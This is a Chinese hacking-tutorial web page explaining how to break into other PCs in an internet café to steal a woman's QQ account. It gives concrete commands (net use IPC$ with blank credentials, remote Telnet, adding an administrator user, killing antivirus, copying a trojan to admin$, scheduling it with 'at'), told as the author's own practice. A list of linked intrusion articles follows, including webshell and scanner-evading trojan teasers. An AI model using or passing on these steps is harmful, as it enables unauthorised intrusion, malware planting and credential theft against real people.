黑客在网吧内是如何入侵其他电脑的

所属分类: 网络安全 / 黑客入侵 阅读数: 143
收藏 0 赞 0 分享
从你这里真是学到不少东西呀,今天我去网吧和同事打了会儿游戏,我从来不在网吧上用QQ,总觉得网吧很危险,里面到全是木马。我知道很多人能够得到MM的QQ号,他们是怎么弄的?网吧上网能安全放心吗?你是不是也经常去网吧黑人?
———————————————————————————————————————
现在网吧管理软件有很多,但大多有这样或那样的漏洞,于是就出现了很多破解网吧软件和网吧软件破解技巧,可以免费上网,可以使用“命令提示符”方式,可以使用管理员权限等等。于是网吧也成了虚拟财产丢失最严重的地方。但只要网吧管理员的水平足够还是能够避免这种情况发生的。告诉你我以前还在网吧是如何得到MMQQ号的技巧吧,有点复杂,主要是让你了解一些黑客入侵时所用到的命令。
第一步:先要确定MM所用电脑的IP,网吧电脑的编号和IP地址通常是相同或是高一位,比如网吧中编号为20的电脑,IP一般是192.168.0.20或192.168.0.21(192.168.0.1留给路由器),不仅如此,机器名也有规律,20号电脑的机器名通常是Wangba20,这样只要知道了MM用的电脑,再进入到“命令提示符”,Ping Wangba20就可以得到IP地址,比如192.168.0.20。
第二步:有了IP,就可以开始连接上MM的电脑了,由于网吧内的电脑多使用没有打过补丁的Windows 2000,而且登录电脑的用户名也多是“user编号”的形式空密码形式,所以在“命令提示符”下输入net use //192.168.0.20/ipc$ "" /user:""及net use //192.168.0.20/ipc$ "" /user:"user20"命令建立连接。
连接成功后,就要关闭对方电脑中的杀毒软件了,右击“我的电脑”,选择“管理”,在弹出窗口中右击“计算机管理(本地)”,选择“连接到另一台计算机”,连接至192.168.0.20,启动“Telnet”服务(见图1)(图1 “计算机管理”可以直接管理远程电脑)。

第三步:在“命令提示符”下输入两条命令在本机新建user20用户并将它添加到管理员组。
net user user20 /add
net localgroup administrators user20 /add
第四步:进入到C:\Winnt\System32,右击CMD.EXE,选择“创建快捷方式”,然后右击新建的快捷方式,选择“属性”,勾选“以其他用户身份运行”(见图2)(图2 以其他用户身份运行程序)。运行快捷方式CMD,弹出“以其他用户身份运行”窗口后,输入“user20”回车。

第五步:用telnet 192.168.0.20登录至MM的电脑,再从网上下载一个命令行下杀进程的软件,如knlps等,在telnet上将杀毒软件的进程关闭。
第六步:现在就可以下载一个木马,用“copy 木马名.exe //192.168.0.20/admin$”的方法将木马复制到MM的电脑上。再用net time //192.168.0.20
得到MM电脑的时间,比如是下午4点,最后用“at //192.168.0.20 时间 木马名.exe”,如“at //192.168.0.20 16:02 木马名.exe”命令在指定时间运行木马。
有了木马了,自然就能知道MM用的QQ号啦。
怎么样,网吧里面是不是很危险?不过你放心,并不是所有的网吧都这样,大部分网吧还是非常安全的,只要你在使用QQ或其他软件时,选择“网吧模式”就可以了(见图3)(图3 点击“高级设置”后出现“登录模式”选项)。


更多精彩内容其他人还在看

黑客谈MS07-029域名DNS漏洞利用入侵过程

前言: MS07-029,Windows 域名系统 (DNS) 服务器服务的远程过程调用 (RPC) 管理接口中存在基于堆栈的缓冲区溢出。漏洞的前提是没打补丁,开启DNS服务的所有版本WINDOWS 2000 Server和WINDOWS 2003 Server。 今天
收藏 0 赞 0 分享

黑客教你SQL注入Access导出WebShell的方法

热 点: 已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。 最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。
收藏 0 赞 0 分享

一个注射点,一个webshell甚至系统权限

————只要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限 声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为 发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性
收藏 0 赞 0 分享

黑客实战:一次简单脚本攻击实例

一、开篇 今天闲着无聊,到本地区的一个社区上转转,那些人污言秽语的,有个帖子还侵犯了一个朋友的版权,跟贴说了那人几句,管理员也不管,实在看不下去了,打算给管理员盆冷水清醒清醒。 二、准备/分析 安全第一,先开个HTTP代理,打开社区的登陆页面,
收藏 0 赞 0 分享

eWebEditor编辑器成网站中的隐形炸弹

站长在使用eWebEditor的时候是否发现,eWebEditor配置不当会使其成为网站中的隐形炸弹呢?第一次发现这漏洞源于去年的一次入侵,在山穷水尽的时候发现了eWebEditor,于是很简单就获得了WebShell。后来又有好几次利用eWebEditor进行入侵的成功经历,这
收藏 0 赞 0 分享

系统泄露密码的入侵攻击分析

WINDOWS访问139端口时自动用当前用户、密码连接,造成泄露用户密码,虽然其密码是加密的,但一样可以用来攻击。   下面是SMB的密码认证方式。   WINDOWS的139口的访问过程,箭头表示数据方向:   1.客户端<---------------
收藏 0 赞 0 分享

看看黑客是怎样使用Google黑掉Windows服务器

在我的《为什么使用Google扫描安全漏洞》的技巧中,我讨论了如何使用Google.com来执行对你的面向公众的服务器的安全扫描――包括Windows、IIS、Apache和(但愿不会如此!)SQL Server。你能使用它得到服务器的信息、包含敏感信息的文件和检测出&ldquo
收藏 0 赞 0 分享

黑客总结的实用的网站渗透步骤

本文是黑客们总结的比较实用的网站渗透的一些步骤
收藏 0 赞 0 分享

一句话木马加密 过护卫神云查杀系统 过shell扫描器

这个一句话木马最近被利用的很多,很多扫描工具扫描不到,不过一些asp版的扫描工具支持扫描eval和execute,如果发现如下代码,请删除,下面就是他们常发的木马后门
收藏 0 赞 0 分享

安全狗下添加用户的另一方法(大量操作实现突破)

这篇文章主要是针对安装服务器安全狗的机器,突破添加用户的操作,用for循环实现,但如果服务器安装了360就无法使用
收藏 0 赞 0 分享
查看更多